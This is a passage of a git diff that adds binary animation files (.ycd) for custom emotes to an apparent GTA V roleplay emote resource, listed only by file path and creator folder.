Emotes]/EnchantedBrwny/EnchantedBrwny@wedding2b.ycd new file mode 100644 index 000000000..47d63bc9b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/EnchantedBrwny@wedding2b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_illum.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_illum.ycd new file mode 100644 index 000000000..1bc24fae9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_illum.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_pack000.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_pack000.ycd new file mode 100644 index 000000000..359cee7bd Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_pack000.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_sign.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_sign.ycd new file mode 100644 index 000000000..e71791eff Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/EnchantedBrwny/ebrwny_sign.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale10.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale10.ycd new file mode 100644 index 000000000..40af06d01 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale10.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale8.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale8.ycd new file mode 100644 index 000000000..af73e86bb Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale8.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale9.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale9.ycd new file mode 100644 index 000000000..05bc3baa0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissfemale9.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale10.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale10.ycd new file mode 100644 index 000000000..5a2abdd62 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale10.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale8.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale8.ycd new file mode 100644 index 000000000..8f8d477d0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale8.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale9.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale9.ycd new file mode 100644 index 000000000..beb4fcdde Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/GenesisMods/genesismods_kissme@kissmale9.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@amb@beach_party@.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@amb@beach_party@.ycd new file mode 100644 index 000000000..350bd108c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@amb@beach_party@.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@amb@vip_bar@.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@amb@vip_bar@.ycd new file mode 100644 index 000000000..c53e904b0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@amb@vip_bar@.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationfemale@bang_bang.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationfemale@bang_bang.ycd new file mode 100644 index 000000000..f1b2acc55 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationfemale@bang_bang.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationfemale@coin_roll_and_toss.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationfemale@coin_roll_and_toss.ycd new file mode 100644 index 000000000..fccb7fe28 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationfemale@coin_roll_and_toss.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationmale@bang_bang.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationmale@bang_bang.ycd new file mode 100644 index 000000000..c355cc04e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationmale@bang_bang.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationmale@coin_roll_and_toss.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationmale@coin_roll_and_toss.ycd new file mode 100644 index 000000000..2b0fb4e8f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intcelebrationmale@coin_roll_and_toss.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intupperbang_bang.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intupperbang_bang.ycd new file mode 100644 index 000000000..023b6787b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intupperbang_bang.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intuppercoin_roll_and_toss.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intuppercoin_roll_and_toss.ycd new file mode 100644 index 000000000..10a105dee Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@mp_player_intuppercoin_roll_and_toss.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@special_peds@casino@vince@wall@cas_vince_ig3.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@special_peds@casino@vince@wall@cas_vince_ig3.ycd new file mode 100644 index 000000000..de0bcd20e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/HeySlickThatsMe/anim@special_peds@casino@vince@wall@cas_vince_ig3.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@friendship007.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@friendship007.ycd new file mode 100644 index 000000000..25a6d75ce Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@friendship007.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@friendship008.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@friendship008.ycd new file mode 100644 index 000000000..b2442e8b2 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@friendship008.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie001.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie001.ycd new file mode 100644 index 000000000..b34d36853 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie001.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie002.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie002.ycd new file mode 100644 index 000000000..e152c0964 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie002.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie003.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie003.ycd new file mode 100644 index 000000000..5c9056369 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie003.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie004.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie004.ycd new file mode 100644 index 000000000..34df200aa Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie004.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie005.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie005.ycd new file mode 100644 index 000000000..ba5074ecf Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@selfie005.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy003.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy003.ycd new file mode 100644 index 000000000..aad128cb9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy003.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy004.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy004.ycd new file mode 100644 index 000000000..20be9692a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy004.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy005.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy005.ycd new file mode 100644 index 000000000..31ec75732 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy005.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy006.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy006.ycd new file mode 100644 index 000000000..b0167bc0a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy006.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy009.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy009.ycd new file mode 100644 index 000000000..2d99dd3d8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy009.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy012.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy012.ycd new file mode 100644 index 000000000..df2cfab46 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/LittleSpoon/littlespoon@sexy012.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Mads/mads@police_reaching_holster.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Mads/mads@police_reaching_holster.ycd new file mode 100644 index 000000000..01ef808c8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Mads/mads@police_reaching_holster.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@at_ease.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@at_ease.ycd new file mode 100644 index 000000000..e44beaab7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@at_ease.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@attention.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@attention.ycd new file mode 100644 index 000000000..e4d03c25d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@attention.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@parade_rest.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@parade_rest.ycd new file mode 100644 index 000000000..8d4ef0afd Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@parade_rest.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@salute.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@salute.ycd new file mode 100644 index 000000000..70870274d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/airforce@salute.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/crouching@taking_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/crouching@taking_selfie.ycd new file mode 100644 index 000000000..dda0eb53c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/crouching@taking_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/holding_wine@taking_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/holding_wine@taking_selfie.ycd new file mode 100644 index 000000000..3cdb8206a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/holding_wine@taking_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/hooman@hugging_little_doggy.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/hooman@hugging_little_doggy.ycd new file mode 100644 index 000000000..5d93f266d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/hooman@hugging_little_doggy.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/little_doggy@hugging_hooman.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/little_doggy@hugging_hooman.ycd new file mode 100644 index 000000000..9c553752b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/little_doggy@hugging_hooman.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/lying@on_couch_legs_crossed.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/lying@on_couch_legs_crossed.ycd new file mode 100644 index 000000000..f62f54a22 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/lying@on_couch_legs_crossed.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/lying@on_grass.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/lying@on_grass.ycd new file mode 100644 index 000000000..7b11276c0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/lying@on_grass.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/mirror_selfie@peace_sign.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/mirror_selfie@peace_sign.ycd new file mode 100644 index 000000000..0c87f4ec4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/mirror_selfie@peace_sign.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@gatlax.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@gatlax.ycd new file mode 100644 index 000000000..96b6691e2 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@gatlax.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@hearthands.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@hearthands.ycd new file mode 100644 index 000000000..ac54ea5a0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@hearthands.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@little_doggy_lying_down.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@little_doggy_lying_down.ycd new file mode 100644 index 000000000..facefec62 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/misssnowie@little_doggy_lying_down.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/playing@with_controller.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/playing@with_controller.ycd new file mode 100644 index 000000000..b89215e53 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/playing@with_controller.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/sign@hang_loose.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/sign@hang_loose.ycd new file mode 100644 index 000000000..25716fea5 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/sign@hang_loose.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/sign@hang_loose_casual.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/sign@hang_loose_casual.ycd new file mode 100644 index 000000000..fdb68bc09 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/sign@hang_loose_casual.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/uwu@egirl.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/uwu@egirl.ycd new file mode 100644 index 000000000..80f056796 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/uwu@egirl.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/watch@looking_at.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/watch@looking_at.ycd new file mode 100644 index 000000000..e1ee79346 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MissSnowieEmotes/watch@looking_at.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/beachanims@free.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/beachanims@free.ycd new file mode 100644 index 000000000..f8fbf1f7c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/beachanims@free.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/beachanims@molly.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/beachanims@molly.ycd new file mode 100644 index 000000000..4e1b564bd Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/beachanims@molly.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@boombox1.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@boombox1.ycd new file mode 100644 index 000000000..3ee8e1bb7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@boombox1.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@megaphone.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@megaphone.ycd new file mode 100644 index 000000000..abe44bc8b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@megaphone.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@megaphone2.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@megaphone2.ycd new file mode 100644 index 000000000..38542e1e9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MollyEmotes/molly@megaphone2.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@adorable.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@adorable.ycd new file mode 100644 index 000000000..db7328c66 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@adorable.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@adorable_style.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@adorable_style.ycd new file mode 100644 index 000000000..b8ef87684 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@adorable_style.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@casual_composure_female01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@casual_composure_female01.ycd new file mode 100644 index 000000000..f6971d9e2 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@casual_composure_female01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@casual_composure_female02.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@casual_composure_female02.ycd new file mode 100644 index 000000000..5495e01f0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@casual_composure_female02.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@characterful_poses.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@characterful_poses.ycd new file mode 100644 index 000000000..1c27ca08a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@characterful_poses.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@checked_shirt_squat_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@checked_shirt_squat_male.ycd new file mode 100644 index 000000000..98d266624 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@checked_shirt_squat_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@chin_support_on_floor.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@chin_support_on_floor.ycd new file mode 100644 index 000000000..082e8e3a8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@chin_support_on_floor.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@composed_photo_moments.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@composed_photo_moments.ycd new file mode 100644 index 000000000..b6f73875a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@composed_photo_moments.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@dark_appearance_with_bag_male.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@dark_appearance_with_bag_male.ycd new file mode 100644 index 000000000..511e85e0a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@dark_appearance_with_bag_male.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@elegant_floor_hock.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@elegant_floor_hock.ycd new file mode 100644 index 000000000..a9c845f21 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@elegant_floor_hock.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_03.ycd new file mode 100644 index 000000000..5c179e52e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_04.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_04.ycd new file mode 100644 index 000000000..eca86e30f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_04.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_05.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_05.ycd new file mode 100644 index 000000000..590079bf8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_05.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_06.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_06.ycd new file mode 100644 index 000000000..36f264b59 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_06.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_07.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_07.ycd new file mode 100644 index 000000000..ebf7b9d6c Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_07.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_09.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/MrWitt/mrwitt@femalepose_09.ycd new file mode 100644 index 000000000..ac6ddb2dd Binary files /dev/null and 